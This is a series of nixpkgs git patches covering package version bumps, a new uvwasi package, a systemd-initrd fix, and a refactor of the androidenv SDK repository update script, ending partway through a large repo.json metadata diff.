diff --git a/pkgs/servers/web-apps/discourse/default.nix b/pkgs/servers/web-apps/discourse/default.nix
index c088be485201..9cdc0889e307 100644
--- a/pkgs/servers/web-apps/discourse/default.nix
+++ b/pkgs/servers/web-apps/discourse/default.nix
@@ -46,13 +46,13 @@
 }@args:
 
 let
-  version = "3.4.3";
+  version = "3.4.4";
 
   src = fetchFromGitHub {
     owner = "discourse";
     repo = "discourse";
     rev = "v${version}";
-    sha256 = "sha256-TvJKQAdtKuyiWuFrG67NkO/KiXeTjOOQrAnLeyPZ9K8=";
+    sha256 = "sha256-rA42fOhSJVrNPcFSB2+On7JVeZch8t2yNo+36UK+QcA=";
   };
 
   ruby = ruby_3_3;

From 94b650760fc31c73e937ceb02f4d6b2cdb8cd15a Mon Sep 17 00:00:00 2001
From: Ivy Fan-Chiang <dev@ivyfanchiang.ca>
Date: Tue, 27 May 2025 11:51:48 -0400
Subject: [PATCH 0233/4511] pythonPackages.yara-x: 0.14.0 -> 0.15.0

(cherry picked from commit a3598eb3a417b501b61639e07f7520161554f937)
---
 pkgs/development/python-modules/yara-x/default.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/development/python-modules/yara-x/default.nix b/pkgs/development/python-modules/yara-x/default.nix
index 3e1eae5394ce..6d5be2c0fda7 100644
--- a/pkgs/development/python-modules/yara-x/default.nix
+++ b/pkgs/development/python-modules/yara-x/default.nix
@@ -9,7 +9,7 @@
 }:
 buildPythonPackage rec {
   pname = "yara-x";
-  version = "0.14.0";
+  version = "0.15.0";
   pyproject = true;
 
   disabled = pythonOlder "3.9";
@@ -18,14 +18,14 @@ buildPythonPackage rec {
     owner = "VirusTotal";
     repo = "yara-x";
     tag = "v${version}";
-    hash = "sha256-C8wBGmilouNcNN3HkwvSTWcZY1fe0jVc2TeWDN4w5xA=";
+    hash = "sha256-fbuh/SMfOygnuvG9zTZqem4oLaS+5uXScXPhU3aVDjM=";
   };
 
   buildAndTestSubdir = "py";
 
   cargoDeps = rustPlatform.fetchCargoVendor {
     inherit pname src version;
-    hash = "sha256-afCBuWr12trjEIDvE0qnGFxTXU7LKZCzZB8RqgqperY=";
+    hash = "sha256-+dPIujaxDJ7JrtNvX4VjGHFmgtCb1BJpFQL4c3E1/GY=";
   };
 
   nativeBuildInputs = [

From c1398063d3ed22ebe3aebd7f653d5980846709a8 Mon Sep 17 00:00:00 2001
From: Antoine du Hamel <duhamelantoine1995@gmail.com>
Date: Sun, 11 May 2025 00:58:45 +0200
Subject: [PATCH 0234/4511] uvwasi: init at 0.0.21

(cherry picked from commit 808d7c9a2f1e6dc0d6f7d9cb9cacf65e4763e748)
---
 pkgs/by-name/uv/uvwasi/package.nix | 57 ++++++++++++++++++++++++++++++
 1 file changed, 57 insertions(+)
 create mode 100644 pkgs/by-name/uv/uvwasi/package.nix

diff --git a/pkgs/by-name/uv/uvwasi/package.nix b/pkgs/by-name/uv/uvwasi/package.nix
new file mode 100644
index 000000000000..a01f7f21c4cc
--- /dev/null
+++ b/pkgs/by-name/uv/uvwasi/package.nix
@@ -0,0 +1,57 @@
+{
+  lib,
+  cmake,
+  fetchFromGitHub,
+  fetchpatch2,
+  libuv,
+  nix-update-script,
+  stdenv,
+  testers,
+}:
+
+stdenv.mkDerivation (finalAttrs: {
+  pname = "uvwasi";
+  version = "0.0.21";
+
+  src = fetchFromGitHub {
+    owner = "nodejs";
+    repo = "uvwasi";
+    tag = "v${finalAttrs.version}";
+    hash = "sha256-po2Pwqf97JXGKY8WysvyR1vSkqQ4XIF0VQG+83yV9nM=";
+  };
+
+  # Patch was sent upstream: https://github.com/nodejs/uvwasi/pull/302.
+  postPatch = ''
+    substituteInPlace CMakeLists.txt \
+      --replace-fail 'DESTINATION ''${CMAKE_INSTALL_INCLUDEDIR}/uvwasi' 'DESTINATION ''${CMAKE_INSTALL_INCLUDEDIR}'
+  '';
+
+  outputs = [
+    "out"
+  ];
+
+  nativeBuildInputs = [
+    cmake
+  ];
+  buildInputs = [
+    libuv
+  ];
+
+  passthru = {
+    updateScript = nix-update-script { };
+
+    tests.pkg-config = testers.hasPkgConfigModules {
+      package = finalAttrs.finalPackage;
+      moduleNames = [ "uvwasi" ];
+    };
+  };
+
+  meta = {
+    description = "WASI syscall API built atop libuv";
+    homepage = "https://github.com/nodejs/uvwasi";
+    changelog = "https://github.com/nodejs/uvwasi/releases/tag/v${finalAttrs.version}";
+    license = lib.licenses.mit;
+    maintainers = with lib.maintainers; [ aduh95 ];
+    platforms = lib.platforms.all;
+  };
+})

From c8a67b3fa578053b90783879267d685c886f0cd5 Mon Sep 17 00:00:00 2001
From: Casey Link <unnamedrambler@gmail.com>
Date: Thu, 29 May 2025 08:56:19 +0200
Subject: [PATCH 0235/4511] tailwindcss_4: 4.1.7 -> 4.1.8

(cherry picked from commit 427f860490c2833078f98eef80591fe20d668e4d)
---
 pkgs/by-name/ta/tailwindcss_4/package.nix | 10 +++++-----
 1 file changed, 5 insertions(+), 5 deletions(-)

diff --git a/pkgs/by-name/ta/tailwindcss_4/package.nix b/pkgs/by-name/ta/tailwindcss_4/package.nix
index c7a31b4ba1a1..c0dfe093055b 100644
--- a/pkgs/by-name/ta/tailwindcss_4/package.nix
+++ b/pkgs/by-name/ta/tailwindcss_4/package.nix
@@ -7,7 +7,7 @@
   makeWrapper,
 }:
 let
-  version = "4.1.7";
+  version = "4.1.8";
   inherit (stdenv.hostPlatform) system;
   throwSystem = throw "tailwindcss has not been packaged for ${system} yet.";
 
@@ -22,10 +22,10 @@ let
 
   hash =
     {
-      aarch64-darwin = "sha256-CjzOBmhnEW0c+V6utNKPROhAOx1ql2vG8S4G1hT6Wdo=";
-      aarch64-linux = "sha256-jEGaZiGW8FcmVRrQBr2DQfR7i+344MtlFofZrjwK4GY=";
-      x86_64-darwin = "sha256-TN7TKW561j9qvgadL/P/cQhhum1lCrsjNglhxgz9GSw=";
-      x86_64-linux = "sha256-BwYpKTWpdzxsh54X0jYlMi5EkOfo96CtDmiPquTe+YE=";
+      aarch64-darwin = "sha256-GeUnkdNW3VnbaCdK42pYebqwzp2sI8x7Dxn8e3wdN6I=";
+      aarch64-linux = "sha256-KKd9Hlmw5FtBaDweOUdiH9/nP2iVsF23w09j8/SJjo0=";
+      x86_64-darwin = "sha256-SmyyYNdcS9ygck+8w7I6WttScVrW14WVRjyGEoyhwyk=";
+      x86_64-linux = "sha256-j4TOgQvf8iXlmXgdHi2qgrQoIikCHIZ6cbQZ9Z+aqDY=";
     }
     .${system} or throwSystem;
 in

From c312e3cc8ba0f6083af0fe71999696ec7d1c7273 Mon Sep 17 00:00:00 2001
From: Fiona Behrens <me@kloenk.dev>
Date: Wed, 28 May 2025 16:53:29 +0000
Subject: [PATCH 0236/4511] nixos/systemd-initrd: honor the enable option in
 contents

The enable attribute of `boot.initrd.systemd.contents.<name>` was
ignored for building initrd storePaths. This resulted in building
derivations for the initrd even if it was disabled.

Found while testing a to build a nixos system with a kernel without
lodable modules[0]

[0]: https://github.com/NixOS/nixpkgs/pull/411792

(cherry picked from commit 99da5ec2bc2b370f06f9c911af209ad2c5e4661b)
---
 nixos/modules/system/boot/systemd/initrd.nix | 4 +++-
 1 file changed, 3 insertions(+), 1 deletion(-)

diff --git a/nixos/modules/system/boot/systemd/initrd.nix b/nixos/modules/system/boot/systemd/initrd.nix
index 65caee745124..8057ecba1241 100644
--- a/nixos/modules/system/boot/systemd/initrd.nix
+++ b/nixos/modules/system/boot/systemd/initrd.nix
@@ -133,7 +133,9 @@ let
     name = "initrd-${kernel-name}";
     inherit (config.boot.initrd) compressor compressorArgs prepend;
 
-    contents = lib.filter ({ source, ... }: !lib.elem source cfg.suppressedStorePaths) cfg.storePaths;
+    contents = lib.filter (
+      { source, enable, ... }: (!lib.elem source cfg.suppressedStorePaths) && enable
+    ) cfg.storePaths;
   };
 
 in

From 04ba56bc44c2038643f1f47b03e38529113a2cd9 Mon Sep 17 00:00:00 2001
From: Morgan Jones <me@numin.it>
Date: Wed, 28 May 2025 23:58:58 -0700
Subject: [PATCH 0237/4511] androidenv: fix autoupdate and custom XMLs

This regression happened during refactoring of mkrepo.rb. Do another
round of it with a focus on fixing the autoupdate and use of custom
repository XMLs.

Add an example to check this behavior (but don't run it in the test
suite, since it requires IFD).

(cherry picked from commit 8bd119929d9add75c4c586f757c03c3fa6cbcd35)
---
 pkgs/development/mobile/androidenv/README.md  |   8 +-
 .../androidenv/compose-android-packages.nix   |   5 +-
 .../mobile/androidenv/examples/shell-ifd.nix  |  60 +++++++
 pkgs/development/mobile/androidenv/mkrepo.sh  |  19 ---
 .../mobile/androidenv/test-suite.nix          |   4 +-
 .../androidenv/{mkrepo.rb => update.rb}       | 153 ++++++++++++------
 pkgs/development/mobile/androidenv/update.sh  |   5 -
 7 files changed, 168 insertions(+), 86 deletions(-)
 create mode 100644 pkgs/development/mobile/androidenv/examples/shell-ifd.nix
 delete mode 100755 pkgs/development/mobile/androidenv/mkrepo.sh
 rename pkgs/development/mobile/androidenv/{mkrepo.rb => update.rb} (82%)
 mode change 100644 => 100755
 delete mode 100755 pkgs/development/mobile/androidenv/update.sh

diff --git a/pkgs/development/mobile/androidenv/README.md b/pkgs/development/mobile/androidenv/README.md
index bf3726342091..7ebb9d640c0b 100644
--- a/pkgs/development/mobile/androidenv/README.md
+++ b/pkgs/development/mobile/androidenv/README.md
@@ -1,15 +1,13 @@
 # How to update
 
-1. `./fetchrepo.sh`
-2. `./mkrepo.sh`
-3. Check the `repo.json` diff for new stable versions of `tools`, `platform-tools`, `build-tools`, `emulator` and/or `ndk`
-4. Update the relevant argument defaults in `compose-android-packages.nix`
+`nix-shell maintainers/scripts/update.nix  --argstr package androidenv.test-suite --argstr commit true`
 
 # How to run tests
+
 You may need to make yourself familiar with [package tests](../../../README.md#package-tests), and [Writing larger package tests](../../../README.md#writing-larger-package-tests), then run tests locally with:
 
 ```shell
 $ export NIXPKGS_ALLOW_UNFREE=1
 $ cd path/to/nixpkgs
-$ nix-build -A androidenv.test-suite.tests
+$ nix-build -A androidenv.test-suite
 ```
diff --git a/pkgs/development/mobile/androidenv/compose-android-packages.nix b/pkgs/development/mobile/androidenv/compose-android-packages.nix
index 57a9afc8a9de..1803a04a6638 100644
--- a/pkgs/development/mobile/androidenv/compose-android-packages.nix
+++ b/pkgs/development/mobile/androidenv/compose-android-packages.nix
@@ -31,7 +31,7 @@ in
     # Reads the repo JSON. If repoXmls is provided, will build a repo JSON into the Nix store.
     if repoXmls != null then
       let
-        # Uses mkrepo.rb to create a repo spec.
+        # Uses update.rb to create a repo spec.
         mkRepoJson =
           {
             packages ? [ ],
@@ -43,6 +43,7 @@ in
               ruby.withPackages (
                 pkgs: with pkgs; [
                   slop
+                  curb
                   nokogiri
                 ]
               )
@@ -68,7 +69,7 @@ in
             preferLocalBuild = true;
             unpackPhase = "true";
             buildPhase = ''
-              ruby ${./mkrepo.rb} ${lib.escapeShellArgs mkRepoRubyArguments} > repo.json
+              env ruby -e 'load "${./update.rb}"' -- ${lib.escapeShellArgs mkRepoRubyArguments} --input /dev/null --output repo.json
             '';
             installPhase = ''
               mv repo.json $out
diff --git a/pkgs/development/mobile/androidenv/examples/shell-ifd.nix b/pkgs/development/mobile/androidenv/examples/shell-ifd.nix
new file mode 100644
index 000000000000..254bc6112311
--- /dev/null
+++ b/pkgs/development/mobile/androidenv/examples/shell-ifd.nix
@@ -0,0 +1,60 @@
+{
+  # If you want to use the in-tree version of nixpkgs:
+  pkgs ? import ../../../../.. {
+    config.allowUnfree = true;
+  },
+
+  licenseAccepted ? pkgs.callPackage ../license.nix { },
+}:
+
+# Tests IFD with androidenv. Needs a folder of `../xml` in your local tree;
+# use ../fetchrepo.sh to produce it.
+let
+  androidEnv = pkgs.callPackage ./.. {
+    inherit pkgs licenseAccepted;
+  };
+
+  sdkArgs = {
+    repoXmls = {
+      packages = [ ../xml/repository2-3.xml ];
+      images = [
+        ../xml/android-sys-img2-3.xml
+        ../xml/android-tv-sys-img2-3.xml
+        ../xml/google_apis-sys-img2-3.xml
+        ../xml/google_apis_playstore-sys-img2-3.xml
+        ../xml/android-wear-sys-img2-3.xml
+        ../xml/android-wear-cn-sys-img2-3.xml
+        ../xml/android-automotive-sys-img2-3.xml
+      ];
+      addons = [ ../xml/addon2-3.xml ];
+    };
+  };
+
+  androidComposition = androidEnv.composeAndroidPackages sdkArgs;
+  androidSdk = androidComposition.androidsdk;
+  platformTools = androidComposition.platform-tools;
+  jdk = pkgs.jdk;
+in
+pkgs.mkShell {
+  name = "androidenv-example-ifd-demo";
+  packages = [
+    androidSdk
+    platformTools
+    jdk
+  ];
+
+  LANG = "C.UTF-8";
+  LC_ALL = "C.UTF-8";
+  JAVA_HOME = jdk.home;
+
+  # Note: ANDROID_HOME is deprecated. Use ANDROID_SDK_ROOT.
+  ANDROID_SDK_ROOT = "${androidSdk}/libexec/android-sdk";
+
+  shellHook = ''
+    # Write out local.properties for Android Studio.
+    cat <<EOF > local.properties
+    # This file was automatically generated by nix-shell.
+    sdk.dir=$ANDROID_SDK_ROOT
+    EOF
+  '';
+}
diff --git a/pkgs/development/mobile/androidenv/mkrepo.sh b/pkgs/development/mobile/androidenv/mkrepo.sh
deleted file mode 100755
index 174b765e9c34..000000000000
--- a/pkgs/development/mobile/androidenv/mkrepo.sh
+++ /dev/null
@@ -1,19 +0,0 @@
-#!/usr/bin/env nix-shell
-#!nix-shell -i bash -p "ruby.withPackages (pkgs: with pkgs; [ slop nokogiri moreutils ])"
-
-set -e
-
-pushd "$(dirname "$0")" &>/dev/null || exit 1
-
-echo "Writing repo.json" >&2
-ruby mkrepo.rb \
-    --packages ./xml/repository2-3.xml \
-    --images ./xml/android-sys-img2-3.xml \
-    --images ./xml/android-tv-sys-img2-3.xml \
-    --images ./xml/android-wear-cn-sys-img2-3.xml \
-    --images ./xml/android-wear-sys-img2-3.xml \
-    --images ./xml/android-automotive-sys-img2-3.xml \
-    --images ./xml/google_apis-sys-img2-3.xml \
-    --images ./xml/google_apis_playstore-sys-img2-3.xml \
-    --addons ./xml/addon2-3.xml <./repo.json
-popd &>/dev/null
diff --git a/pkgs/development/mobile/androidenv/test-suite.nix b/pkgs/development/mobile/androidenv/test-suite.nix
index ba745109462b..b4f4d06157bb 100644
--- a/pkgs/development/mobile/androidenv/test-suite.nix
+++ b/pkgs/development/mobile/androidenv/test-suite.nix
@@ -18,6 +18,7 @@ let
 in
 stdenv.mkDerivation {
   name = "androidenv-test-suite";
+  version = "1";
   buildInputs = lib.mapAttrsToList (name: value: value) all-tests;
 
   buildCommand = ''
@@ -26,9 +27,8 @@ stdenv.mkDerivation {
 
   passthru.tests = all-tests;
 
-  # This is the toplevel package, so inherit the update script
   passthru.updateScript = {
-    command = [ ./update.sh ];
+    command = [ ./update.rb ];
     attrPath = "androidenv.test-suite";
     supportedFeatures = [ "commit" ];
   };
diff --git a/pkgs/development/mobile/androidenv/mkrepo.rb b/pkgs/development/mobile/androidenv/update.rb
old mode 100644
new mode 100755
similarity index 82%
rename from pkgs/development/mobile/androidenv/mkrepo.rb
rename to pkgs/development/mobile/androidenv/update.rb
index 66fee5c47322..0b5f3be92fbc
--- a/pkgs/development/mobile/androidenv/mkrepo.rb
+++ b/pkgs/development/mobile/androidenv/update.rb
@@ -1,11 +1,15 @@
-#!/usr/bin/env ruby
+#!/usr/bin/env nix-shell
+#!nix-shell -i ruby -p "ruby.withPackages (ps: with ps; [ slop curb nokogiri ])"
 
 require 'json'
 require 'rubygems'
-require 'nokogiri'
-require 'slop'
 require 'shellwords'
 require 'erb'
+require 'uri'
+require 'stringio'
+require 'slop'
+require 'curb'
+require 'nokogiri'
 
 # Returns a repo URL for a given package name.
 def repo_url value
@@ -32,6 +36,36 @@ def image_url value, dir
   end
 end
 
+# Runs a GET with curl.
+def _curl_get url
+  curl = Curl::Easy.new(url) do |http|
+    http.headers['User-Agent'] = 'nixpkgs androidenv update bot'
+    yield http if block_given?
+  end
+  STDERR.print "GET #{url}"
+  curl.perform
+  STDERR.puts "... #{curl.response_code}"
+
+  StringIO.new(curl.body_str)
+end
+
+# Retrieves a repo from the filesystem or a URL.
+def get location
+  uri = URI.parse(location)
+  case uri.scheme
+  when 'repo'
+    _curl_get repo_url("#{uri.host}#{uri.fragment}.xml")
+  when 'image'
+    _curl_get image_url("sys-img#{uri.fragment}.xml", uri.host)
+  else
+    if File.exist?(uri.path)
+      File.open(uri.path, 'rt')
+    else
+      raise "Repository #{uri} was neither a file nor a repo URL"
+    end
+  end
+end
+
 # Returns a JSON with the data and structure of the input XML
 def to_json_collector doc
   json = {}
@@ -438,9 +472,19 @@ def merge dest, src
 end
 
 opts = Slop.parse do |o|
-  o.array '-p', '--packages', 'packages repo XMLs to parse'
-  o.array '-i', '--images', 'system image repo XMLs to parse'
-  o.array '-a', '--addons', 'addon repo XMLs to parse'
+  o.array '-p', '--packages', 'packages repo XMLs to parse', default: %w[repo://repository#2-3]
+  o.array '-i', '--images', 'system image repo XMLs to parse', default: %w[
+    image://android#2-3
+    image://android-tv#2-3
+    image://android-wear#2-3
+    image://android-wear-cn#2-3
+    image://android-automotive#2-3
+    image://google_apis#2-3
+    image://google_apis_playstore#2-3
+  ]
+  o.array '-a', '--addons', 'addon repo XMLs to parse', default: %w[repo://addon#2-3]
+  o.string '-I', '--input', 'input JSON file for repo', default: File.join(__dir__, 'repo.json')
+  o.string '-O', '--output', 'output JSON file for repo', default: File.join(__dir__, 'repo.json')
 end
 
 result = {}
@@ -451,20 +495,20 @@ result['addons'] = {}
 result['extras'] = {}
 
 opts[:packages].each do |filename|
-  licenses, packages, extras = parse_package_xml(Nokogiri::XML(File.open(filename)) { |conf| conf.noblanks })
+  licenses, packages, extras = parse_package_xml(Nokogiri::XML(get(filename)) { |conf| conf.noblanks })
   merge result['licenses'], licenses
   merge result['packages'], packages
   merge result['extras'], extras
 end
 
 opts[:images].each do |filename|
-  licenses, images = parse_image_xml(Nokogiri::XML(File.open(filename)) { |conf| conf.noblanks })
+  licenses, images = parse_image_xml(Nokogiri::XML(get(filename)) { |conf| conf.noblanks })
   merge result['licenses'], licenses
   merge result['images'], images
 end
 
 opts[:addons].each do |filename|
-  licenses, addons, extras = parse_addon_xml(Nokogiri::XML(File.open(filename)) { |conf| conf.noblanks })
+  licenses, addons, extras = parse_addon_xml(Nokogiri::XML(get(filename)) { |conf| conf.noblanks })
   merge result['licenses'], licenses
   merge result['addons'], addons
   merge result['extras'], extras
@@ -491,7 +535,14 @@ two_years_ago = today - 2 * 365
 input = {}
 prev_latest = {}
 begin
-  input_json = (STDIN.tty?) ? "{}" : STDIN.read
+  input_json = if File.exist?(opts[:input])
+                 STDERR.puts "Reading #{opts[:input]}"
+                 File.read(opts[:input])
+               else
+                 STDERR.puts "Creating new repo"
+                 "{}"
+               end
+
   if input_json != nil && !input_json.empty?
     input = expire_records(JSON.parse(input_json), two_years_ago)
 
@@ -511,40 +562,37 @@ fixup_result = fixup(result)
 # therefore the old packages will work as long as the links are working on the Google servers.
 output = merge input, fixup_result
 
-# See if there are any changes in the latest versions.
-cur_latest = output['latest'] || {}
-
-old_versions = []
-new_versions = []
-changes = []
-changed = false
-
-cur_latest.each do |k, v|
-  prev = prev_latest[k]
-  if prev && prev != v
-    old_versions << "#{k}:#{prev}"
-    new_versions << "#{k}:#{v}"
-    changes << "#{k}: #{prev} -> #{v}"
-    changed = true
-  end
-end
-
 # Write the repository. Append a \n to keep nixpkgs Github Actions happy.
-File.write 'repo.json', (JSON.pretty_generate(sort_recursively(output)) + "\n")
+STDERR.puts "Writing #{opts[:output]}"
+File.write opts[:output], (JSON.pretty_generate(sort_recursively(output)) + "\n")
 
 # Output metadata for the nixpkgs update script.
-changed_paths = []
-if changed
-  if ENV['UPDATE_NIX_ATTR_PATH']
-    # Instantiate it.
-    test_result = `NIXPKGS_ALLOW_UNFREE=1 NIXPKGS_ACCEPT_ANDROID_SDK_LICENSE=1 nix-build ../../../../default.nix -A #{Shellwords.join [ENV['UPDATE_NIX_ATTR_PATH']]} 2>&1`
-    test_status = $?.exitstatus
-    tests_ran = true
-  else
-    tests_ran = false
+if ENV['UPDATE_NIX_ATTR_PATH']
+  # See if there are any changes in the latest versions.
+  cur_latest = output['latest'] || {}
+
+  old_versions = []
+  new_versions = []
+  changes = []
+  changed = false
+
+  cur_latest.each do |k, v|
+    prev = prev_latest[k]
+    if prev && prev != v
+      old_versions << "#{k}:#{prev}"
+      new_versions << "#{k}:#{v}"
+      changes << "#{k}: #{prev} -> #{v}"
+      changed = true
+    end
   end
 
-  template = ERB.new(<<-EOF, trim_mode: '<>-')
+  changed_paths = []
+  if changed
+    # Instantiate it.
+    test_result = `NIXPKGS_ALLOW_UNFREE=1 NIXPKGS_ACCEPT_ANDROID_SDK_LICENSE=1 nix-build #{Shellwords.escape(File.realpath(File.join(__dir__, '..', '..', '..', '..', 'default.nix')))} -A #{Shellwords.join [ENV['UPDATE_NIX_ATTR_PATH']]} 2>&1`
+    test_status = $?.exitstatus
+
+    template = ERB.new(<<-EOF, trim_mode: '<>-')
 androidenv: <%= changes.join('; ') %>
 
 Performed the following automatic androidenv updates:
@@ -553,7 +601,6 @@ Performed the following automatic androidenv updates:
 - <%= change -%>
 <% end %>
 
-<% if tests_ran %>
 Tests exited with status: <%= test_status -%>
 
 <% if !test_result.empty? %>
@@ -562,19 +609,19 @@ Last 100 lines of output:
 <%= test_result.lines.last(100).join -%>
 ```
 <% end %>
-<% end %>
 EOF
 
-  changed_paths << {
-    attrPath: 'androidenv.androidPkgs.androidsdk',
-    oldVersion: old_versions.join('; '),
-    newVersion: new_versions.join('; '),
-    files: [
-      File.realpath('repo.json')
-    ],
-    commitMessage: template.result(binding)
-  }
-end
+    changed_paths << {
+      attrPath: 'androidenv.androidPkgs.androidsdk',
+      oldVersion: old_versions.join('; '),
+      newVersion: new_versions.join('; '),
+      files: [
+        opts[:output]
+      ],
+      commitMessage: template.result(binding)
+    }
+  end
 
-# nix-update info is on stderr
-STDOUT.puts JSON.pretty_generate(changed_paths)
+  # nix-update info is on stdout
+  STDOUT.puts JSON.pretty_generate(changed_paths)
+end
diff --git a/pkgs/development/mobile/androidenv/update.sh b/pkgs/development/mobile/androidenv/update.sh
deleted file mode 100755
index f79676069f9c..000000000000
--- a/pkgs/development/mobile/androidenv/update.sh
+++ /dev/null
@@ -1,5 +0,0 @@
-#!/usr/bin/env bash
-
-pushd "$(dirname "$0")" &>/dev/null || exit 1
-./fetchrepo.sh && ./mkrepo.sh
-popd &>/dev/null

From 3833a09a71b4191bf660ab6b910125fa058d439f Mon Sep 17 00:00:00 2001
From: Morgan Jones <me@numin.it>
Date: Thu, 29 May 2025 07:59:23 +0000
Subject: [PATCH 0238/4511] androidenv: ndk: 28.0.13004108 -> 28.1.13356709;
 cmake: 3.31.6 -> 4.0.2; emulator: 35.5.8 -> 35.6.9

Performed the following automatic androidenv updates:

- ndk: 28.0.13004108 -> 28.1.13356709
- cmake: 3.31.6 -> 4.0.2
- emulator: 35.5.8 -> 35.6.9

Tests exited with status: 0

Last 100 lines of output:
```
/nix/store/vryxhh9i409xrsxb75ks0miqb7h97wpm-androidenv-test-suite
```

(cherry picked from commit 68995ee2b3936b87042e223a78a596b52378a70b)
---
 pkgs/development/mobile/androidenv/repo.json | 2321 ++++++++----------
 1 file changed, 1000 insertions(+), 1321 deletions(-)

diff --git a/pkgs/development/mobile/androidenv/repo.json b/pkgs/development/mobile/androidenv/repo.json
index 26dc4252f547..d0bed2fdbd75 100644
--- a/pkgs/development/mobile/androidenv/repo.json
+++ b/pkgs/development/mobile/androidenv/repo.json
@@ -12,7 +12,7 @@
           }
         ],
         "displayName": "Google APIs",
-        "last-available-day": 20174,
+        "last-available-day": 20237,
         "license": "android-sdk-license",
         "name": "google_apis",
         "path": "add-ons/addon-google_apis-google-10",
@@ -91,7 +91,7 @@
           }
         ],
         "displayName": "Google APIs",
-        "last-available-day": 20174,
+        "last-available-day": 20237,
         "license": "android-sdk-license",
         "name": "google_apis",
         "path": "add-ons/addon-google_apis-google-11",
@@ -156,7 +156,7 @@
           }
         ],
         "displayName": "Google APIs",
-        "last-available-day": 20174,
+        "last-available-day": 20237,
         "license": "android-sdk-license",
         "name": "google_apis",
         "path": "add-ons/addon-google_apis-google-12",
@@ -233,7 +233,7 @@
           }
         ],
         "displayName": "Google TV Addon",
-        "last-available-day": 20174,
+        "last-available-day": 20237,
         "license": "android-googletv-license",
         "name": "google_tv_addon",
         "path": "add-ons/addon-google_tv_addon-google-12",
@@ -280,7 +280,7 @@
           }
         ],
         "displayName": "Google APIs",
-        "last-available-day": 20174,
+        "last-available-day": 20237,
         "license": "android-sdk-license",
         "name": "google_apis",
         "path": "add-ons/addon-google_apis-google-13",
@@ -357,7 +357,7 @@
           }
         ],
         "displayName": "Google TV Addon",
-        "last-available-day": 20174,
+        "last-available-day": 20237,
         "license": "android-googletv-license",
         "name": "google_tv_addon",
         "path": "add-ons/addon-google_tv_addon-google-13",
@@ -404,7 +404,7 @@
           }
         ],
         "displayName": "Google APIs",
-        "last-available-day": 20174,
+        "last-available-day": 20237,
         "license": "android-sdk-license",
         "name": "google_apis",
         "path": "add-ons/addon-google_apis-google-14",
@@ -483,7 +483,7 @@
           }
         ],
         "displayName": "Google APIs",
-        "last-available-day": 20174,
+        "last-available-day": 20237,
         "license": "android-sdk-license",
         "name": "google_apis",
         "path": "add-ons/addon-google_apis-google-15",
@@ -576,7 +576,7 @@
           }
         ],
         "displayName": "Google APIs",
-        "last-available-day": 20174,
+        "last-available-day": 20237,
         "license": "android-sdk-license",
         "name": "google_apis",
         "path": "add-ons/addon-google_apis-google-16",
@@ -669,7 +669,7 @@
           }
         ],
         "displayName": "Google APIs",
-        "last-available-day": 20174,
+        "last-available-day": 20237,
         "license": "android-sdk-license",
         "name": "google_apis",
         "path": "add-ons/addon-google_apis-google-17",
@@ -762,7 +762,7 @@
           }
         ],
         "displayName": "Google APIs",
-        "last-available-day": 20174,
+        "last-available-day": 20237,
         "license": "android-sdk-license",
         "name": "google_apis",
         "path": "add-ons/addon-google_apis-google-18",
@@ -855,7 +855,7 @@
           }
         ],
         "displayName": "Google APIs",
-        "last-available-day": 20174,
+        "last-available-day": 20237,
         "license": "android-sdk-license",
         "name": "google_apis",
         "path": "add-ons/addon-google_apis-google-19",
@@ -948,7 +948,7 @@
           }
         ],
         "displayName": "Google APIs",
-        "last-available-day": 20174,
+        "last-available-day": 20237,
         "license": "android-sdk-license",
         "name": "google_apis",
         "path": "add-ons/addon-google_apis-google-21",
@@ -1041,7 +1041,7 @@
           }
         ],
         "displayName": "Google APIs",
-        "last-available-day": 20174,
+        "last-available-day": 20237,
         "license": "android-sdk-license",
         "name": "google_apis",
         "path": "add-ons/addon-google_apis-google-22",
@@ -1134,7 +1134,7 @@
           }
         ],
         "displayName": "Google APIs",
-        "last-available-day": 20174,
+        "last-available-day": 20237,
         "license": "android-sdk-license",
         "name": "google_apis",
         "path": "add-ons/addon-google_apis-google-23",
@@ -1227,7 +1227,7 @@
           }
         ],
         "displayName": "Google APIs",
-        "last-available-day": 20174,
+        "last-available-day": 20237,
         "license": "android-sdk-license",
         "name": "google_apis",
         "path": "add-ons/addon-google_apis-google-24",
@@ -1320,7 +1320,7 @@
           }
         ],
         "displayName": "Google APIs",
-        "last-available-day": 20174,
+        "last-available-day": 20237,
         "license": "android-sdk-license",
         "name": "google_apis",
         "path": "add-ons/addon-google_apis-google-25",
@@ -1413,7 +1413,7 @@
           }
         ],
         "displayName": "Google APIs",
-        "last-available-day": 20174,
+        "last-available-day": 20237,
         "license": "android-sdk-license",
         "name": "google_apis",
         "path": "add-ons/addon-google_apis-google-3",
@@ -1478,7 +1478,7 @@
           }
         ],
         "displayName": "Google APIs",
-        "last-available-day": 20174,
+        "last-available-day": 20237,
         "license": "android-sdk-license",
         "name": "google_apis",
         "path": "add-ons/addon-google_apis-google-4",
@@ -1543,7 +1543,7 @@
           }
         ],
         "displayName": "Google APIs",
-        "last-available-day": 20174,
+        "last-available-day": 20237,
         "license": "android-sdk-license",
         "name": "google_apis",
         "path": "add-ons/addon-google_apis-google-5",
@@ -1608,7 +1608,7 @@
           }
         ],
         "displayName": "Google APIs",
-        "last-available-day": 20174,
+        "last-available-day": 20237,
         "license": "android-sdk-license",
         "name": "google_apis",
         "path": "add-ons/addon-google_apis-google-6",
@@ -1673,7 +1673,7 @@
           }
         ],
         "displayName": "Google APIs",
-        "last-available-day": 20174,
+        "last-available-day": 20237,
         "license": "android-sdk-license",
         "name": "google_apis",
         "path": "add-ons/addon-google_apis-google-7",
@@ -1738,7 +1738,7 @@
           }
         ],
         "displayName": "Google APIs",
-        "last-available-day": 20174,
+        "last-available-day": 20237,
         "license": "android-sdk-license",
         "name": "google_apis",
         "path": "add-ons/addon-google_apis-google-8",
@@ -1803,7 +1803,7 @@
           }
         ],
         "displayName": "Google APIs",
-        "last-available-day": 20174,
+        "last-available-day": 20237,
         "license": "android-sdk-license",
         "name": "google_apis",
         "path": "add-ons/addon-google_apis-google-9",
@@ -1869,7 +1869,7 @@
         }
       ],
       "displayName": "Android Support Repository",
-      "last-available-day": 20174,
+      "last-available-day": 20237,
       "license": "android-sdk-license",
       "name": "extras-android-m2repository",
       "path": "extras/android/m2repository",
@@ -1900,7 +1900,7 @@
         }
       ],
       "displayName": "Android Emulator hypervisor driver (installer)",
-      "last-available-day": 20174,
+      "last-available-day": 20237,
       "license": "android-sdk-license",
       "name": "extras-google-Android_Emulator_Hypervisor_Driver",
       "path": "extras/google/Android_Emulator_Hypervisor_Driver",
@@ -1931,7 +1931,7 @@
         }
       ],
